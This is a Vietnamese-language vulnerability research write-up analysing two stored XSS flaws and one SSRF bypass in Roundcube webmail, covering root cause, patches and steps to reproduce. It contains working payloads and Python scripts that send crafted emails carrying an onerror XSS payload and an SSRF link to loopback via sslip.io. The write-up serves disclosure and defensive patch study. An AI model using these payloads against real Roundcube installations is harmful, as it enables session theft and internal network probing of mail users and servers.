Roundcube 1-day Research
Roundcube 1-day Research
Zero-click Stored XSS in Roundcube (CVE-2026-54433)
Description
| Type | Verison Affected | Required Authentication | ?-day |
|---|---|---|---|
| Stored XSS | 1.7.0, 1.7.1 | Yes (User) | 1-day |
Root cause
program\lib\Roundcube\rcube_string_replacer.php

Lỗi Regex dùng để trích xuất địa chỉ email nằm ở việc sử dụng \S+ - Non-whitespace character.
\?: Chuỗi bắt buộc bắt đầu bằng dấu?.\S+: Khớp với toàn bộ các ký tự miễn là không phải khoảng trắng như: dấu cách, dấu tab, xuống dòng. Dấu+nghĩa là kéo dài đến khi nào gặp khoảng trắng mới dừng lại.
Có nghĩa là nó có thể bao gồm tất cả ký tự như <> ' " (). Bypass khoảng trắng bằng dấu /.
→ Payload: a@a.co?<img/src="x"/onerror=alert(123)>
Nơi sử dụng regex này là hàm replace() tại dòng 216:

Hàm preg_replace_callback quét chuỗi $str bằng Regex $this->mailto_pattern và truyền các chuỗi khớp được vào hàm mailto_callback để xử lý.
Đi vào hàm mailto_callback():

Tại dòng 191, payload trên được gán vào biến $href và bị đưa vào hàm rcube::Q() để xử lý.
Hàm này thực chất gọi htmlspecialchars:

Đi vào hàm parse_url_brackets() tại dòng 190:


Hàm này có tác dụng tìm dấu [ ] bị thừa trong url → cắt nó ra khỏi $url và trả về phần thừa nằm sau dấu ] rồi gán vào biến $suffix để in ra bên ngoài thẻ link thay vì dính vào trong URL.
VD:
$href = "http://google.com?q=hello" → $suffix = ""
$href = "http://example.com]abc → $suffix = "]abc"
→ Có thể bypass bằng cách chèn dấu ] đằng sau dấu ? trong payload để khi payload đi qua hàm này:
- Phần trước dấu
]giữ lại trong$href:a@a.co? - Phần sau dấu
]sẽ được gán vào biến$suffix:]<img/src="x"/onerror=alert(1)>.
Phần $suffix sẽ không bị đi qua hàm rcube::Q() mà sẽ được nối trực tiếp vào thẻ a tại dong 191:

→ Payload cuối: a@a.co?]<img/src="x"/onerror=alert(123)>
Steps to reproduce
Gửi email kèm payload: a@a.co?]<img/src="x"/onerror=alert(123)> vào phần body của mail:

Click xem email → Triggered

Patch

Ứng dụng lọc ký tự <>
Stored XSS via MIME-type of attachment (CVE-2026-54432)
Description
| Type | Version Affected | Required Authentication | ?-Day |
|---|---|---|---|
| Stored XSS | < 1.7.2, < 1.6.17 | Yes (User) | 1-day |
Lỗi xảy ra trên trang cảnh báo attachment khi MIME type khai báo trong email không khớp với nội dung thực tế. Roundcube hiển thị giá trị MIME type attacker kiểm soát trong HTML mà chưa escape đầy đủ, dẫn đến stored XSS khi nạn nhân mở attachment warning page.
Root Cause
Trong program/actions/mail/get.php, giá trị $mimetype được lấy từ attachment:

Khi MIME validation fail, Roundcube đưa $mimetype vào biến $expected:

Vấn đề là chỉ phần extension được escape, còn $mimetype thì không. Vì vậy payload trong Content-Type có thể được render như HTML thật trong template:
Expected: $expected; found: $detected
Payload mẫu: Content-Type: "<img src=x onerror=alert(1)>"/x; name="poc.txt"
Steps to Reproduce
Chạy script dưới đây để gửi mail kèm attachment:
script.py
import smtplib
smtp_host = "127.0.0.1"
smtp_port = 25
sender = "flash@localhost.com"
recipient = "batman@localhost.com"
raw = b"""From: flash@localhost.com\r
To: batman@localhost.com\r
Subject: Test XSS\r
Date: Sat, 11 Jul 2026 00:25:00 +0700\r
MIME-Version: 1.0\r
Content-Type: multipart/mixed; boundary="test"\r
\r
--test\r
Content-Type: text/plain; charset=UTF-8\r
Content-Transfer-Encoding: 7bit\r
\r
Experimental payload.\r
\r
--test\r
Content-Type: "<img src=x onerror=alert(1)>"/x; name="poc.txt"\r
Content-Disposition: inline; filename="poc2.txt"\r
Content-Transfer-Encoding: base64\r
\r
SGVsbG8sIHRoaXMgaXMgbm90IGFuIGltYWdlLgo=\r
\r
--test--\r
"""
with smtplib.SMTP(smtp_host, smtp_port, timeout=20) as smtp:
smtp.ehlo()
smtp.sendmail(sender, [recipient], raw)
print("sent")
Mở warning page:
http://localhost/rc170/public_html/?_task=mail&_action=get&_mbox=INBOX&_uid=<UID>&_part=2&_embed=1&_mimewarning=1
Kết quả vulnerable:
Expected: <img src=static.php/x onerror=alert(1)>/ (.png); found: text/plain (.txt)
Browser thực thi alert(1).

Patch

Sau patch, payload được render thành text:
<img src=x onerror=alert(1)>
Bypass url filter leading to SSRF
Description
| Type | Version Affected | Required Authentication | Day |
|---|---|---|---|
| SSRF | < 1.7.2, < 1.6.17 | Yes (User) | 1-day |
Roundcube có cơ chế fetch CSS từ xa thông qua endpoint utils/modcss. Trước khi fetch, URL phải được kiểm tra bằng rcube_utils::is_local_url(). Một số URL trỏ về local/loopback không bị nhận diện đúng, dẫn đến SSRF.
Root Cause
Trong program/actions/mail/index.php, thẻ <link> trong email HTML được rewrite sang utils/modcss nếu URL không bị coi là local:

Sau đó program/actions/utils/modcss.php fetch URL thật bằng HTTP client server-side:

Lỗi nằm ở hàm is_local_url():

Code chỉ xử lý ::ffff: dạng ngắn và chỉ nhận diện nip.io, bỏ sót sslip.io và IPv4-mapped IPv6 dạng mở rộng.
Một số payload mẫu:
http://127.0.0.1.sslip.io/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://0/
Steps to Reproduce
Host một server local:
python -m http.server 8000
Gửi email HTML bằng script kèm payload:
<link rel="stylesheet" href="<http://127.0.0.1.sslip.io:8000/>">
script.py
import smtplib
raw = b"""From: attacker@localhost.com\r
To: batman@localhost.com\r
Subject: Test SSRF\r
MIME-Version: 1.0\r
Content-Type: text/html; charset=UTF-8\r
\r
<!doctype html>
<html>
<head>
<link rel="stylesheet" href="http://127.0.0.1.sslip.io:8000/">
</head>
<body>
SSRF probe
</body>
</html>
"""
with smtplib.SMTP("127.0.0.1", 25) as s:
s.sendmail("flash@localhost.com", ["batman@localhost.com"], raw)
Mở email vừa gửi/nhận → có request đến local server:

Patch
Fix:

Patch làm cho Roundcube nhận diện đúng:
127.0.0.1.sslip.io
0:0:0:0:0:ffff:127.0.0.1
0
là local URL và không đưa vào $_SESSION['modcssurls'] để fetch server-side.